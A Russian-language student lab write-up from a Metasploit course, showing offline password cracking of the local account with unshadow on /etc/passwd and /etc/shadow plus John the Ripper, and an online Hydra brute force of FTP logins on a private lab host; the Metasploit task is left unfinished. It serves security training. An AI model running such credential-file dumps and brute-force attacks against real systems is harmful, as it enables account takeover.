Урок 5. Metasploit Framework

1. Изучить вопрос безопасности паролей. Провести атаку на пароли с помощью John The Ripper+unshadow (оффлайн режим), Hydra (онлайн режим). В качестве инструкции можно использовать видеоматерилы или документ из доп материалов УрокMetasploitкоманды.docx

Для начала поменяем пароль на qwerty

```
┌──(kali㉿kali)-[~]
└─$ passwd
Changing password for kali.
Current password:
New password:
Retype new password:
You must choose a longer password.
New password:
Retype new password:
passwd: password updated successfully
```

```
┌──(kali㉿kali)-[~]
└─$ sudo su
[sudo] password for kali:
```

```
┌──(root㉿kali)-[/home/kali]
└─# unshadow /etc/passwd /etc/shadow > /home/kali/crack_hash_passwd
Created directory: /root/.john
```

```
┌──(root㉿kali)-[/home/kali]
└─# john crack_hash_passwd
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)
```

Создадим файл, в который включим наш пароль

```
┌──(root㉿kali)-[/home/kali]
└─# touch rockyou.txt
```

```
┌──(root㉿kali)-[/home/kali]
└─# vi rockyou.txt
```

Сравним хэши

```
┌──(root㉿kali)-[/home/kali]
└─# john --wordlist=rockyou.txt --format=crypt crack_hash_passwd
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt
6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 1 candidate left, minimum 96 needed for performance.
qwerty           (kali)
1g 0:00:00:00 DONE (2023-05-17 12:09) 33.33g/s 33.33p/s 33.33c/s 33.33C/s
qwerty
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Убедимся что пароль подобран

```
┌──(root㉿kali)-[/home/kali]
└─# john --show crack_hash_passwd
kali:qwerty:1000:1000:,,,:/home/kali:/usr/bin/zsh

1 password hash cracked, 0 left
```

В режиме онлайн, предусмотрительно добавим в наш файл с паролями правильный пароль

```
┌──(root㉿kali)-[/home/kali]
└─# vi rockyou.txt
```

Запустим перебор

```
┌──(root㉿kali)-[/home/kali]
└─# hydra -l vagrant -P rockyou.txt ftp://192.168.1.29
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-17 12:39:57
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking ftp://192.168.1.29:21/
[21][ftp] host: 192.168.1.29   login: vagrant   password: vagrant
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-05-17 12:40:18
```

2. Установить Metasploit Framework(если не был установлен), настроить (как в методичке к уроке)

Установил

3. Проверить систему на базе ОС Windows на уязвимости, которые могут привести к атакам WannaCRY и подобного вредоносного ПО. Если система уязвима, при помощи MSF продемонстрируйте возможные векторы атак с использованием данной уязвимости.

Не успеваю